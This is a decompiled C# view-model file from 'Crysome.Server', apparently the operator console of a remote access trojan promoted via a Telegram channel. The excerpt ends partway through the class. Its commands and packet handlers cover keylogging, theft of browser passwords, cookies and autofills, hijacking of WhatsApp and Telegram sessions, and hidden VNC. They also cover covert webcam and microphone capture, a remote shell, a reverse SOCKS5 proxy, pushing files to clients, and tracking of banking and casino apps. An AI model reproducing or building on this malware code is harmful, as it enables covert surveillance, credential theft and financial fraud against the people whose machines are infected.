crysome/Crysome.Server/Crysome.Server.ViewModel/ManageClientsViewModel.cs

using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.IO;
using System.Linq;
using System.Media;
using System.Net;
using System.Net.Sockets;
using System.Reflection;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Threading;
using Crysome.Common.Network;
using Crysome.Common.Network.FileTransfer;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
using Crysome.Server.Data;
using Crysome.Server.Model;
using Crysome.Server.Network;
using Crysome.Server.View;
using Microsoft.Win32;

namespace Crysome.Server.ViewModel;

public class ManageClientsViewModel : ViewModelBase
{
	private class RdpQualityState
	{
		public int Level = 6;

		public int CurrentQuality = 80;

		public int GoodStreak;

		public int BadStreak;

		public DateTime LastFrameTime = DateTime.MinValue;

		public int IntervalMs = 33;
	}

	private sealed class ReverseProxyState
	{
		public TcpListener Listener;

		public int NextConnectionId;

		public ConcurrentDictionary<int, TcpClient> Connections = new ConcurrentDictionary<int, TcpClient>();

		public volatile bool Running;

		public CrysomeClient Owner;
	}

	private readonly MainViewModel _mainViewModel;

	private CrysomeServer server;

	private readonly AppDataStore store = new AppDataStore();

	private readonly DispatcherTimer infoTimer;

	private readonly ConcurrentDictionary<uint, FtSender> _activeSenders = new ConcurrentDictionary<uint, FtSender>();

	private readonly DispatcherTimer _uiThrottleTimer;

	private bool _pendingUpdates;

	private readonly object _clientLock = new object();

	private int infoRobin;

	private string _lastCmd = "";

	private string _lastFilePath = "";

	private long _nextExplorerOpId;

	private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action<ReadFileResponsePacket>> _pendingReadFileResponses = new ConcurrentDictionary<(CrysomeClient, long), Action<ReadFileResponsePacket>>();

	private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action<WriteFileResponsePacket>> _pendingWriteFileResponses = new ConcurrentDictionary<(CrysomeClient, long), Action<WriteFileResponsePacket>>();

	private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action<GetDirectoryResponsePacket>> _pendingGetDirectoryResponses = new ConcurrentDictionary<(CrysomeClient, long), Action<GetDirectoryResponsePacket>>();

	private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action<GetDrivesResponsePacket>> _pendingGetDrivesResponses = new ConcurrentDictionary<(CrysomeClient, long), Action<GetDrivesResponsePacket>>();

	private readonly ConcurrentDictionary<CrysomeClient, FileExplorerViewModel> _activeFileExplorers = new ConcurrentDictionary<CrysomeClient, FileExplorerViewModel>();

	private readonly HashSet<string> _logCategoryHide = new HashSet<string>(StringComparer.OrdinalIgnoreCase) { "MIC", "CAM" };

	private ICollectionView _logEntriesView;

	private ClientInfo _selectedClient;

	private List<ClientInfo> _selectedClients = new List<ClientInfo>();

	private string _serverStatus = "Stopped  •  t.me/CuriousCracks";

	private int _clientCount;

	private string _statusMessage = "";

	private List<ClientInfo> allClients = new List<ClientInfo>();

	private int _proxyStartCount;

	private readonly List<(string Address, string Port)> _proxyResultsForModal = new List<(string, string)>();

	private DispatcherTimer _proxyModalTimer;

	private readonly Dictionary<CrysomeClient, Action<GetProcessListResponsePacket>> _processListCallbacks = new Dictionary<CrysomeClient, Action<GetProcessListResponsePacket>>();

	private readonly Dictionary<CrysomeClient, Action<string>> _shellOutputCallbacks = new Dictionary<CrysomeClient, Action<string>>();

	private readonly Dictionary<CrysomeClient, Action<byte[]>> _audioDataCallbacks = new Dictionary<CrysomeClient, Action<byte[]>>();

	private readonly Dictionary<CrysomeClient, Action<byte[]>> _cameraFrameCallbacks = new Dictionary<CrysomeClient, Action<byte[]>>();

	private readonly Dictionary<CrysomeClient, Action<byte[]>> _desktopFrameHandlers = new Dictionary<CrysomeClient, Action<byte[]>>();

	private readonly Dictionary<CrysomeClient, Action<byte[]>> _hvncFrameHandlers = new Dictionary<CrysomeClient, Action<byte[]>>();

	private readonly Dictionary<CrysomeClient, ReverseProxyState> _reverseProxyState = new Dictionary<CrysomeClient, ReverseProxyState>();

	private readonly Dictionary<CrysomeClient, Action<string>> _keyloggerCallbacks = new Dictionary<CrysomeClient, Action<string>>();

	private readonly Dictionary<CrysomeClient, Action<string, string>> _chatHandlers = new Dictionary<CrysomeClient, Action<string, string>>();

	private readonly Dictionary<CrysomeClient, Action<string[]>> _cameraDevicesCallbacks = new Dictionary<CrysomeClient, Action<string[]>>();

	private readonly Dictionary<CrysomeClient, Action<string[]>> _audioDevicesCallbacks = new Dictionary<CrysomeClient, Action<string[]>>();

	private readonly Dictionary<CrysomeClient, Action<byte[]>> _audioStreamHandlers = new Dictionary<CrysomeClient, Action<byte[]>>();

	private readonly Dictionary<CrysomeClient, Action<ScreensResponsePacket>> _screensCallbacks = new Dictionary<CrysomeClient, Action<ScreensResponsePacket>>();

	private readonly Dictionary<CrysomeClient, Action<int>> _rdpQualityCallbacks = new Dictionary<CrysomeClient, Action<int>>();

	private readonly Dictionary<CrysomeClient, RdpQualityState> _rdpQualityStates = new Dictionary<CrysomeClient, RdpQualityState>();

	private static readonly (int Quality, int IntervalMs)[] _rdpLevels = new(int, int)[7]
	{
		(30, 100),
		(40, 66),
		(50, 50),
		(60, 40),
		(70, 33),
		(80, 25),
		(85, 16)
	};

	private bool _isRefreshingClientList;

	private string _filterCountry = "All";

	private string _filterOS = "All";

	private string _filterGroup = "All";

	private string _filterPing = "All";

	private int _uniqueCountriesCount;

	private int _averagePing;

	private int _activeWindowsCount;

	private int _activeHvncCount;

	private int _activeRdpCount;

	private bool _appsExpanded;

	private bool _bankExpanded;

	private bool _casinoExpanded;

	private string _newBlocklistIP = "";

	private string _blocklistSelectedIP;

	private readonly ConcurrentDictionary<CrysomeClient, Action<string, bool>> _offlineKeylogCallbacks = new ConcurrentDictionary<CrysomeClient, Action<string, bool>>();

	public ObservableCollection<ClientInfo> Clients { get; set; }

	public ObservableCollection<LogLineEntry> LogEntries { get; set; }

	public string LogCategoryFilter
	{
		get
		{
			return string.Join(",", _logCategoryHide);
		}
		set
		{
			_logCategoryHide.Clear();
			if (!string.IsNullOrWhiteSpace(value))
			{
				string[] array = value.Split(new char[2] { ',', ';' }, StringSplitOptions.RemoveEmptyEntries);
				foreach (string text in array)
				{
					_logCategoryHide.Add(text.Trim());
				}
			}
			OnPropertyChanged("LogCategoryFilter");
			try
			{
				ICollectionView logEntriesView = LogEntriesView;
				if (logEntriesView != null)
				{
					logEntriesView.Refresh();
				}
			}
			catch
			{
			}
		}
	}

	public ICollectionView LogEntriesView
	{
		get
		{
			return _logEntriesView;
		}
		private set
		{
			_logEntriesView = value;
			OnPropertyChanged("LogEntriesView");
		}
	}

	public ClientInfo SelectedClient
	{
		get
		{
			return _selectedClient;
		}
		set
		{
			_selectedClient = value;
			OnPropertyChanged("SelectedClient");
			OnPropertyChanged("IsItemSelected");
		}
	}

	public bool IsItemSelected => SelectedClient != null;

	public List<ClientInfo> SelectedClients => _selectedClients;

	public string ServerStatus
	{
		get
		{
			return _serverStatus;
		}
		set
		{
			_serverStatus = value;
			OnPropertyChanged("ServerStatus");
		}
	}

	public int ClientCount
	{
		get
		{
			return _clientCount;
		}
		set
		{
			_clientCount = value;
			OnPropertyChanged("ClientCount");
		}
	}

	public string StatusMessage
	{
		get
		{
			return _statusMessage;
		}
		set
		{
			_statusMessage = value ?? "";
			OnPropertyChanged("StatusMessage");
		}
	}

	public ICommand SendCommandCmd { get; }

	public ICommand SendCommandAllCmd { get; }

	public ICommand SendFileCmd { get; }

	public ICommand SendFileAllCmd { get; }

	public ICommand DirectLinkCmd { get; }

	public ICommand DirectLinkAllCmd { get; }

	public ICommand CopySummaryCmd { get; }

	public ICommand PinToTopCmd { get; }

	public ICommand ExportSelectionCmd { get; }

	public ICommand Mute30Cmd { get; }

	public ICommand QuickHealthCmd { get; }

	public ICommand RepeatLastCmdCmd { get; }

	public ICommand RepeatLastFileCmd { get; }

	public ICommand AnnounceToggleCmd { get; }

	public ICommand EditNoteCmd { get; }

	public ICommand RestartClientCmd { get; }

	public ICommand OpenFileManagerCmd { get; }

	public ICommand OpenBuilderCmd { get; }

	public ICommand OpenSettingsCmd { get; }

	public ICommand CloseAppCmd { get; }

	public ICommand OpenPluginsCmd { get; }

	public ICommand Socks5ProxyCmd { get; }

	public ICommand TakeScreenshotCmd { get; }

	public ICommand ProcessManagerCmd { get; }

	public ICommand RemoteShellCmd { get; }

	public ICommand RemoteAudioCmd { get; }

	public ICommand RemoteCameraCmd { get; }

	public ICommand RemoteDesktopCmd { get; }

	public ICommand HvncCmd { get; }

	public ICommand KeyloggerCmd { get; }

	public ICommand RemoteChatCmd { get; }

	public ICommand CredentialsPasswordsCmd { get; }

	public ICommand CredentialsCookiesCmd { get; }

	public ICommand CredentialsBothCmd { get; }

	public ICommand CredentialsAutofillsCmd { get; }

	public ICommand CredentialsAllCmd { get; }

	public ICommand WhatsAppSessionCmd { get; }

	public ICommand TelegramSessionCmd { get; }

	public ICommand ToggleAppsExpandCmd { get; }

	public ICommand ToggleBankExpandCmd { get; }

	public ICommand ToggleCasinoExpandCmd { get; }

	public ICommand StartServerCmd { get; }

	public ICommand StopServerCmd { get; }

	public ICommand ExportLogCmd { get; }

	public ICommand AddBlocklistCmd { get; }

	public ICommand RemoveBlocklistCmd { get; }

	public ICommand BlockSelectedClientCmd { get; }

	public ICommand ClearFiltersCmd { get; }

	public bool IsSendCommandEnabled => store.IsContextMenuFeatureEnabled("SendCommand");

	public bool IsSendCommandAllEnabled => store.IsContextMenuFeatureEnabled("SendCommandAll");

	public bool IsSendFileEnabled => store.IsContextMenuFeatureEnabled("SendFile");

	public bool IsSendFileAllEnabled => store.IsContextMenuFeatureEnabled("SendFileAll");

	public bool IsDirectLinkEnabled => store.IsContextMenuFeatureEnabled("DirectLink");

	public bool IsDirectLinkAllEnabled => store.IsContextMenuFeatureEnabled("DirectLinkAll");

	public bool IsSocks5ProxyEnabled => store.IsContextMenuFeatureEnabled("Socks5Proxy");

	public bool IsTakeScreenshotEnabled => store.IsContextMenuFeatureEnabled("TakeScreenshot");

	public bool IsFileManagerEnabled => store.IsContextMenuFeatureEnabled("FileManager");

	public bool IsRestartEnabled => store.IsContextMenuFeatureEnabled("Restart");

	public bool IsCopySummaryEnabled => store.IsContextMenuFeatureEnabled("CopySummary");

	public bool IsBlockIPEnabled => store.IsContextMenuFeatureEnabled("BlockIP");

	public bool IsPinToTopEnabled => store.IsContextMenuFeatureEnabled("PinToTop");

	public bool IsExportEnabled => store.IsContextMenuFeatureEnabled("Export");

	public bool IsMute30Enabled => store.IsContextMenuFeatureEnabled("Mute30");

	public bool IsNoteEnabled => store.IsContextMenuFeatureEnabled("Note");

	public bool IsProcessManagerEnabled => store.IsContextMenuFeatureEnabled("ProcessManager");

	public bool IsRemoteShellEnabled => store.IsContextMenuFeatureEnabled("RemoteShell");

	public bool IsRemoteAudioEnabled => store.IsContextMenuFeatureEnabled("RemoteAudio");

	public bool IsRemoteCameraEnabled => store.IsContextMenuFeatureEnabled("RemoteCamera");

	public bool IsRemoteDesktopEnabled => store.IsContextMenuFeatureEnabled("RemoteDesktop");

	public bool IsHvncEnabled => store.IsContextMenuFeatureEnabled("HVNC");

	public bool IsCredentialsEnabled => store.IsContextMenuFeatureEnabled("Credentials");

	public bool IsKeyloggerEnabled => store.IsContextMenuFeatureEnabled("Keylogger");

	public bool IsRemoteChatEnabled => store.IsContextMenuFeatureEnabled("RemoteChat");

	public string FilterCountry
	{
		get
		{
			return _filterCountry;
		}
		set
		{
			string text = value ?? "All";
			if (!(_filterCountry == text))
			{
				_filterCountry = text;
				OnPropertyChanged("FilterCountry");
				if (!_isRefreshingClientList)
				{
					RefreshClientList();
				}
			}
		}
	}

	public string FilterOS
	{
		get
		{
			return _filterOS;
		}
		set
		{
			string text = value ?? "All";
			if (!(_filterOS == text))
			{
				_filterOS = text;
				OnPropertyChanged("FilterOS");
				if (!_isRefreshingClientList)
				{
					RefreshClientList();
				}
			}
		}
	}

	public string FilterGroup
	{
		get
		{
			return _filterGroup;
		}
		set
		{
			string text = value ?? "All";
			if (!(_filterGroup == text))
			{
				_filterGroup = text;
				OnPropertyChanged("FilterGroup");
				if (!_isRefreshingClientList)
				{
					RefreshClientList();
				}
			}
		}
	}

	public string FilterPing
	{
		get
		{
			return _filterPing;
		}
		set
		{
			string text = value ?? "All";
			if (!(_filterPing == text))
			{
				_filterPing = text;
				OnPropertyChanged("FilterPing");
				if (!_isRefreshingClientList)
				{
					RefreshClientList();
				}
			}
		}
	}

	public ObservableCollection<string> AvailableCountries { get; } = new ObservableCollection<string>();

	public ObservableCollection<string> AvailableOSes { get; } = new ObservableCollection<string>();

	public ObservableCollection<string> FilterCountryOptions { get; } = new ObservableCollection<string> { "All" };

	public ObservableCollection<string> FilterOSOptions { get; } = new ObservableCollection<string> { "All" };

	public ObservableCollection<string> FilterGroupOptions { get; } = new ObservableCollection<string> { "All" };

	public ObservableCollection<string> FilterPingOptions { get; } = new ObservableCollection<string> { "All", "Good (<100ms)", "Medium (<300ms)", "High (>300ms)" };

	public ObservableCollection<string> BlockedIPsList { get; } = new ObservableCollection<string>();

	public int UniqueCountriesCount
	{
		get
		{
			return _uniqueCountriesCount;
		}
		private set
		{
			_uniqueCountriesCount = value;
			OnPropertyChanged("UniqueCountriesCount");
		}
	}

	public int AveragePing
	{
		get
		{
			return _averagePing;
		}
		private set
		{
			_averagePing = value;
			OnPropertyChanged("AveragePing");
		}
	}

	public int ActiveWindowsCount
	{
		get
		{
			return _activeWindowsCount;
		}
		private set
		{
			_activeWindowsCount = value;
			OnPropertyChanged("ActiveWindowsCount");
		}
	}

	public int ActiveHvncCount
	{
		get
		{
			return _activeHvncCount;
		}
		set
		{
			_activeHvncCount = value;
			OnPropertyChanged("ActiveHvncCount");
		}
	}

	public int ActiveRdpCount
	{
		get
		{
			return _activeRdpCount;
		}
		set
		{
			_activeRdpCount = value;
			OnPropertyChanged("ActiveRdpCount");
		}
	}

	public bool AppsExpanded
	{
		get
		{
			return _appsExpanded;
		}
		set
		{
			_appsExpanded = value;
			OnPropertyChanged("AppsExpanded");
			OnPropertyChanged("AppsToggleText");
		}
	}

	public string AppsToggleText
	{
		get
		{
			if (!_appsExpanded)
			{
				return "▼";
			}
			return "▲";
		}
	}

	public bool BankExpanded
	{
		get
		{
			return _bankExpanded;
		}
		set
		{
			_bankExpanded = value;
			OnPropertyChanged("BankExpanded");
			OnPropertyChanged("BankToggleText");
		}
	}

	public string BankToggleText
	{
		get
		{
			if (!_bankExpanded)
			{
				return "▼";
			}
			return "▲";
		}
	}

	public bool CasinoExpanded
	{
		get
		{
			return _casinoExpanded;
		}
		set
		{
			_casinoExpanded = value;
			OnPropertyChanged("CasinoExpanded");
			OnPropertyChanged("CasinoToggleText");
		}
	}

	public string CasinoToggleText
	{
		get
		{
			if (!_casinoExpanded)
			{
				return "▼";
			}
			return "▲";
		}
	}

	public string NewBlocklistIP
	{
		get
		{
			return _newBlocklistIP;
		}
		set
		{
			_newBlocklistIP = value ?? "";
			OnPropertyChanged("NewBlocklistIP");
		}
	}

	public string BlocklistSelectedIP
	{
		get
		{
			return _blocklistSelectedIP;
		}
		set
		{
			_blocklistSelectedIP = value;
			OnPropertyChanged("BlocklistSelectedIP");
		}
	}

	public AppDataStore Store => store;

	public CrysomeServer Server => server;

	public long NextExplorerOpId()
	{
		return Interlocked.Increment(ref _nextExplorerOpId);
	}

	public void RegisterActiveFileExplorer(CrysomeClient owner, FileExplorerViewModel vm)
	{
		if (owner != null)
		{
			_activeFileExplorers[owner] = vm;
		}
	}

	public void UnregisterActiveFileExplorer(CrysomeClient owner, FileExplorerViewModel vm)
	{
		if (owner != null)
		{
			_activeFileExplorers.TryRemove(owner, out var _);
		}
	}

	public void RegisterReadFileCallback(CrysomeClient client, long transferId, Action<ReadFileResponsePacket> cb)
	{
		_pendingReadFileResponses[(client, transferId)] = cb;
	}

	public void RegisterWriteFileCallback(CrysomeClient client, long transferId, Action<WriteFileResponsePacket> cb)
	{
		_pendingWriteFileResponses[(client, transferId)] = cb;
	}

	public void RegisterGetDirectoryCallback(CrysomeClient client, long requestId, Action<GetDirectoryResponsePacket> cb)
	{
		if (requestId != 0L)
		{
			_pendingGetDirectoryResponses[(client, requestId)] = cb;
		}
	}

	public void RegisterGetDrivesCallback(CrysomeClient client, long requestId, Action<GetDrivesResponsePacket> cb)
	{
		if (requestId != 0L)
		{
			_pendingGetDrivesResponses[(client, requestId)] = cb;
		}
	}

	public void SyncSelectedClients(List<ClientInfo> items)
	{
		_selectedClients = items ?? new List<ClientInfo>();
		OnPropertyChanged("SelectedClients");
	}

	public void EnqueueStatus(string msg)
	{
		//IL_0015: Unknown result type (might be due to invalid IL or missing references)
		//IL_001a: Unknown result type (might be due to invalid IL or missing references)
		//IL_002c: Expected O, but got Unknown
		StatusMessage = msg;
		DispatcherTimer t = new DispatcherTimer
		{
			Interval = TimeSpan.FromSeconds(3L)
		};
		t.Tick += delegate
		{
			StatusMessage = "";
			t.Stop();
		};
		t.Start();
	}

	public void NotifyContextMenuFeaturesChanged()
	{
		OnPropertyChanged("IsSendCommandEnabled");
		OnPropertyChanged("IsSendCommandAllEnabled");
		OnPropertyChanged("IsSendFileEnabled");
		OnPropertyChanged("IsSendFileAllEnabled");
		OnPropertyChanged("IsDirectLinkEnabled");
		OnPropertyChanged("IsDirectLinkAllEnabled");
		OnPropertyChanged("IsSocks5ProxyEnabled");
		OnPropertyChanged("IsTakeScreenshotEnabled");
		OnPropertyChanged("IsFileManagerEnabled");
		OnPropertyChanged("IsRestartEnabled");
		OnPropertyChanged("IsCopySummaryEnabled");
		OnPropertyChanged("IsBlockIPEnabled");
		OnPropertyChanged("IsPinToTopEnabled");
		OnPropertyChanged("IsExportEnabled");
		OnPropertyChanged("IsMute30Enabled");
		OnPropertyChanged("IsNoteEnabled");
		OnPropertyChanged("IsProcessManagerEnabled");
		OnPropertyChanged("IsRemoteShellEnabled");
		OnPropertyChanged("IsRemoteAudioEnabled");
		OnPropertyChanged("IsRemoteCameraEnabled");
		OnPropertyChanged("IsRemoteDesktopEnabled");
		OnPropertyChanged("IsHvncEnabled");
		OnPropertyChanged("IsCredentialsEnabled");
		OnPropertyChanged("IsKeyloggerEnabled");
		OnPropertyChanged("IsRemoteChatEnabled");
	}

	public ManageClientsViewModel(MainViewModel mainViewModel)
	{
		//IL_0779: Unknown result type (might be due to invalid IL or missing references)
		//IL_077e: Unknown result type (might be due to invalid IL or missing references)
		//IL_07a1: Expected O, but got Unknown
		//IL_07b9: Unknown result type (might be due to invalid IL or missing references)
		//IL_07be: Unknown result type (might be due to invalid IL or missing references)
		//IL_07d6: Expected O, but got Unknown
		_mainViewModel = mainViewModel;
		Clients = new ObservableCollection<ClientInfo>();
		LogEntries = new ObservableCollection<LogLineEntry>();
		CollectionViewSource collectionViewSource = new CollectionViewSource
		{
			Source = LogEntries
		};
		collectionViewSource.Filter += LogEntries_Filter;
		LogEntriesView = collectionViewSource.View;
		SendCommandCmd = new RelayCommand<object>(delegate
		{
			DoSendCommand(all: false);
		});
		SendCommandAllCmd = new RelayCommand<object>(delegate
		{
			DoSendCommand(all: true);
		});
		SendFileCmd = new RelayCommand<object>(delegate
		{
			DoSendFile(all: false);
		});
		SendFileAllCmd = new RelayCommand<object>(delegate
		{
			DoSendFile(all: true);
		});
		DirectLinkCmd = new RelayCommand<object>(delegate
		{
			DoDirectLink(all: false);
		});
		DirectLinkAllCmd = new RelayCommand<object>(delegate
		{
			DoDirectLink(all: true);
		});
		CopySummaryCmd = new RelayCommand<object>(delegate
		{
			DoCopySummary();
		});
		PinToTopCmd = new RelayCommand<object>(delegate
		{
			DoPinToTop();
		});
		ExportSelectionCmd = new RelayCommand<object>(delegate
		{
			DoExportSelection();
		});
		Mute30Cmd = new RelayCommand<object>(delegate
		{
			DoMute30();
		});
		QuickHealthCmd = new RelayCommand<object>(delegate
		{
			DoQuickHealth();
		});
		RepeatLastCmdCmd = new RelayCommand<object>(delegate
		{
			DoRepeatLastCmd();
		});
		RepeatLastFileCmd = new RelayCommand<object>(delegate
		{
			DoRepeatLastFile();
		});
		AnnounceToggleCmd = new RelayCommand<object>(delegate
		{
			DoAnnounceToggle();
		});
		EditNoteCmd = new RelayCommand<object>(delegate
		{
			DoEditNote();
		});
		RestartClientCmd = new RelayCommand<object>(delegate
		{
			DoRestart();
		});
		OpenFileManagerCmd = new RelayCommand<object>(delegate
		{
			DoOpenFileManager();
		});
		OpenBuilderCmd = new RelayCommand<object>(delegate
		{
			_mainViewModel.GoToBuilder();
		});
		OpenSettingsCmd = new RelayCommand<object>(delegate
		{
			_mainViewModel.GoToSettings();
		});
		CloseAppCmd = new RelayCommand<object>(delegate
		{
			Application.Current.Shutdown();
		});
		OpenPluginsCmd = new RelayCommand<object>(delegate
		{
			_mainViewModel.GoToPlugins();
		});
		Socks5ProxyCmd = new RelayCommand<object>(delegate
		{
			DoSocks5Proxy();
		});
		TakeScreenshotCmd = new RelayCommand<object>(delegate
		{
			DoTakeScreenshot();
		});
		ProcessManagerCmd = new RelayCommand<object>(delegate
		{
			DoProcessManager();
		});
		RemoteShellCmd = new RelayCommand<object>(delegate
		{
			DoRemoteShell();
		});
		RemoteAudioCmd = new RelayCommand<object>(delegate
		{
			DoRemoteAudio();
		});
		RemoteCameraCmd = new RelayCommand<object>(delegate
		{
			DoRemoteCamera();
		});
		RemoteDesktopCmd = new RelayCommand<object>(delegate
		{
			DoRemoteDesktop();
		});
		HvncCmd = new RelayCommand<object>(delegate
		{
			DoHvnc();
		});
		KeyloggerCmd = new RelayCommand<object>(delegate
		{
			DoKeylogger();
		});
		RemoteChatCmd = new RelayCommand<object>(delegate
		{
			DoRemoteChat();
		});
		CredentialsPasswordsCmd = new RelayCommand<object>(delegate
		{
			DoRequestCredentials(0);
		});
		CredentialsCookiesCmd = new RelayCommand<object>(delegate
		{
			DoRequestCredentials(1);
		});
		CredentialsBothCmd = new RelayCommand<object>(delegate
		{
			DoRequestCredentials(2);
		});
		CredentialsAutofillsCmd = new RelayCommand<object>(delegate
		{
			DoRequestCredentials(3);
		});
		CredentialsAllCmd = new RelayCommand<object>(delegate
		{
			DoRequestCredentials(4);
		});
		WhatsAppSessionCmd = new RelayCommand<object>(delegate
		{
			DoWhatsAppSession();
		});
		TelegramSessionCmd = new RelayCommand<object>(delegate
		{
			DoTelegramSession();
		});
		ToggleAppsExpandCmd = new RelayCommand<object>(delegate
		{
			AppsExpanded = !AppsExpanded;
		});
		ToggleBankExpandCmd = new RelayCommand<object>(delegate
		{
			BankExpanded = !BankExpanded;
		});
		ToggleCasinoExpandCmd = new RelayCommand<object>(delegate
		{
			CasinoExpanded = !CasinoExpanded;
		});
		StartServerCmd = new RelayCommand<object>(delegate
		{
			DoStartServer();
		});
		StopServerCmd = new RelayCommand<object>(delegate
		{
			DoStopServer();
		});
		ExportLogCmd = new RelayCommand<object>(delegate
		{
			DoExportLog();
		});
		AddBlocklistCmd = new RelayCommand<object>(delegate
		{
			DoAddBlocklist();
		});
		RemoveBlocklistCmd = new RelayCommand<object>(delegate
		{
			DoRemoveBlocklist();
		});
		BlockSelectedClientCmd = new RelayCommand<object>(delegate
		{
			DoBlockSelectedClient();
		});
		ClearFiltersCmd = new RelayCommand<object>(delegate
		{
			FilterCountry = "All";
			FilterOS = "All";
			FilterGroup = "All";
			FilterPing = "All";
		});
		store.Load();
		BlockedIPsList.Clear();
		foreach (string item in store.BlockedIPs.OrderBy((string x) => x))
		{
			BlockedIPsList.Add(item);
		}
		infoTimer = new DispatcherTimer
		{
			Interval = TimeSpan.FromMilliseconds(store.Settings.InfoPollInterval, 0L)
		};
		infoTimer.Tick += InfoTimer_Tick;
		_uiThrottleTimer = new DispatcherTimer
		{
			Interval = TimeSpan.FromMilliseconds(500L, 0L)
		};
		_uiThrottleTimer.Tick += ProcessClientUpdates;
		_uiThrottleTimer.Start();
		DoStartServer();
	}

	private void DoStartServer()
	{
		try
		{
			if (server != null)
			{
				server.Stop();
			}
			server = new CrysomeServer
			{
				Port = store.Settings.Port,
				QuicPort = store.Settings.QuicPort,
				Store = store
			};
			server.ClientConnected += Server_ClientConnected;
			server.ClientDisconnected += Server_ClientDisconnected;
			server.PacketChannel.RegisterHandler<GetSystemInfoResponsePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleSystemInfo(s, pk);
			});
			server.PacketChannel.RegisterHandler<ClientInfoResponsePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleClientInfo(s, pk);
			});
			server.PacketChannel.RegisterHandler<PingResponsePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandlePingResponse(s, pk);
			});
			server.PacketChannel.RegisterHandler<RunCommandResponsePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleCommandResponse(s, pk);
			});
			server.PacketChannel.RegisterHandler<FileTransferResponsePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleFileResponse(s, pk);
			});
			server.PacketChannel.RegisterHandler<FtSackPacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleFtSack(s, pk);
			});
			server.PacketChannel.RegisterHandler<FtDonePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleFtDone(s, pk);
			});
			server.PacketChannel.RegisterHandler<DirectLinkResponsePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleDirectLinkResponse(s, pk);
			});
			server.PacketChannel.RegisterHandler<ProxyStatusResponsePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleProxyStatus(s, pk);
			});
			server.PacketChannel.RegisterHandler<TakeScreenshotResponsePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleScreenshotResponse(s, pk);
			});
			server.PacketChannel.RegisterHandler<CredentialsResponsePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleCredentialsResponse(s, pk);
			});
			server.PacketChannel.RegisterHandler<GetProcessListResponsePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleProcessListResponse(s, pk);
			});
			server.PacketChannel.RegisterHandler<AudioDataPacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleAudioData(s, pk);
			});
			server.PacketChannel.RegisterHandler<CameraFramePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleCameraFrame(s, pk);
			});
			server.PacketChannel.RegisterHandler<DesktopFramePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleDesktopFrame(s, pk);
			});
			server.PacketChannel.RegisterHandler<HvncFramePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleHvncFrame(s, pk);
			});
			server.PacketChannel.RegisterHandler<ReverseProxyDataPacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleReverseProxyData(s, pk);
			});
			server.PacketChannel.RegisterHandler<ReverseProxyEndPacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleReverseProxyEnd(s, pk);
			});
			server.PacketChannel.RegisterHandler<KeylogDataPacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleKeylogData(s, pk);
			});
			server.PacketChannel.RegisterHandler<OfflineKeylogDataPacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleOfflineKeylogData(s, pk);
			});
			server.PacketChannel.RegisterHandler<ChatMessagePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleChatMessage(s, pk);
			});
			server.PacketChannel.RegisterHandler<CameraDevicesResponsePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleCameraDevicesResponse(s, pk);
			});
			server.PacketChannel.RegisterHandler<AudioDevicesResponsePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleAudioDevicesResponse(s, pk);
			});
			server.PacketChannel.RegisterHandler<AudioStreamChunkPacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleAudioStreamChunk(s, pk);
			});
			server.PacketChannel.RegisterHandler<ScreensResponsePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleScreensResponse(s, pk);
			});
			server.PacketChannel.RegisterHandler<ReadFileResponsePacket>(RouteReadFileResponse);
			server.PacketChannel.RegisterHandler<WriteFileResponsePacket>(RouteWriteFileResponse);
			server.PacketChannel.RegisterHandler<GetDirectoryResponsePacket>(RouteGetDirectoryResponse);
			server.PacketChannel.RegisterHandler<GetDrivesResponsePacket>(RouteGetDrivesResponse);
			server.PacketChannel.RegisterHandler<NotifyStatusResponsePacket>(RouteNotifyStatus);
			server.PacketChannel.RegisterHandler<ClientInventoryReportPacket>(HandleClientInventoryReport);
			server.PacketChannel.RegisterHandler<WhatsAppSessionResponsePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleWhatsAppSessionResponse(s, pk);
			});
			server.PacketChannel.RegisterHandler<TelegramSessionResponsePacket>(delegate(CrysomeClient s, IPacket pk)
			{
				HandleTelegramSessionResponse(s, pk);
			});
			server.UdpFrameReceived += Server_UdpFrameReceived;
			server.Start();
			infoTimer.Start();
			StringBuilder stringBuilder = new StringBuilder();
			if (store.Settings.Port > 0)
			{
				stringBuilder.Append("RUDP ").Append(store.Settings.Port).Append(" (Builder / .NET Framework)");
			}
			if (store.Settings.QuicPort > 0)
			{
				if (stringBuilder.Length > 0)
				{
					stringBuilder.Append(", ");
				}
				stringBuilder.Append("QUIC ").Append(store.Settings.QuicPort);
			}
			string text = stringBuilder.ToString();
			ServerStatus = "Listening — " + text + "  •  t.me/CuriousCracks";
			Log("Server started — " + text, "SYS");
			FlagCache.Get("US");
		}
